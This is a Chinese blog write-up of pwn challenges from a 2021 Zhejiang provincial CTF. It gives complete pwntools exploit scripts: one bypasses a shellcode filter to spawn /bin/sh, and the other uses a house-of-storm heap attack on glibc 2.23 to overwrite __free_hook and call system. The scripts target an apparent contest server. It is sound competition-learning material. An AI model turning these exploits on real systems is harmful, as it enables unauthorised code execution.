浙江2021省赛

初赛pwn的wp

Posted by X1ng on October 24, 2021

开始比赛前发现IDA打不开了。。。。难度不大,但是学到了新知识,,感谢 @Alter赛后科普house of strom

太菜了太菜了

sxmz

逻辑很简单,输入shellcode,通过特定检测后直接执行shellcode,输入的字节为\n会填充对应位置内存为\x00,检测字符的时候遇到\x00结束检查,让shellocde的首字节为\x00绕过检查,首字节为\x00的汇编语句大多是形如add BYTE PTR [esi], al这样的,查看寄存器确保对应寄存器所指向的地址可写,之后写shellcode调用execve("/bin/sh",0,0)即可

#!/usr/bin/python

from pwn import *
import sys
context.log_level = 'debug'
context.arch='i386'

local=0
binary_name='sx'
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('152.136.122.197', 51501)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

ru('少侠,请问尊姓大名:')

text='''
add	BYTE PTR [esi], al;


mov esi,eax;


xor edx,edx;


xor ecx,ecx;


mov eax,11;


mov ebx,esi;


add ebx,0x14;


int 0x80;

'''
opcode=asm(text)
print(opcode)
sl(opcode+b'/bin/sh')

ia()

LargeRoom2

glibc-2.23下的house of strom(2.29版本以下可以用):核心思想在于将个目标地址作为fake_chunk,通过unsorted_bin attack将fake_chunk放到unsorted_bin列表中,利用large_bin attack将fake_chunk的size位字节改为\x55(堆地址的最高位一般为\x55\x56),申请0x50大小的chunk就能申请到目标地址,实现任意地址写

这题在edit的时候存在off-by-null漏洞,并且有个函数直接申请0x50大小的chunk,构造两个大chunk分别放在large_bin和unsorted_bin,unsorted_bin中的chunk要比large_bin中的略微大一点,但是要保证两者在large_bin中存放在同一index下,然后覆盖unsorted_bin的bk和large_bin的bk、bk_nextsize,再申请0x50即可任意地址写

exp:

#!/usr/bin/python

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='LargeRoom2'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('152.136.122.197', 51200)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('Your choice :',str(num))

def add(sz):
	cho(1)
	sla('Size:',str(sz))

def edit(idx, val):
	cho(4)
	sla('The id of room:',str(idx))
	sla('New Content:',val)

def show(idx):
	cho(2)
	sla('The id of room:',str(idx))

def delete(idx):
	cho(3)
	sla('The id of room:',str(idx))

def lea(val):
	cho(5)
	sla('Your name:',val)


add(0x3f8)
add(0x418)#1 overlap

add(0x3f8)
add(0x3f0)
delete(0)
edit(1,b'a'*0x410+p64(0x420+0x400))
delete(2)
add(0x3f8)
add(0x900)

show(1)
ru('\n')
libcbase=leak_address()-0x3c5068
print('[+]libcbase: '+hex(libcbase))
system=libc.sym['system']+libcbase
print('[+]system: '+hex(system))
free_hook=libc.sym['__free_hook']+libcbase
print('[+]free_hook: '+hex(free_hook))

add(0x810)

add(0x508)#5

add(0x408)#6 overlap

add(0x3f8)
add(0x3f0)
delete(5)
edit(6,b'b'*0x400+p64(0x510+0x410))

delete(7)
add(0x508)
add(0xa000)
delete(4)

edit(5,'/bin/sh')
fake_chunk=free_hook-0x10
edit(1,p64(0)+p64(fake_chunk))
edit(6,p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5))
lea(p64(system))
delete(5)



ia()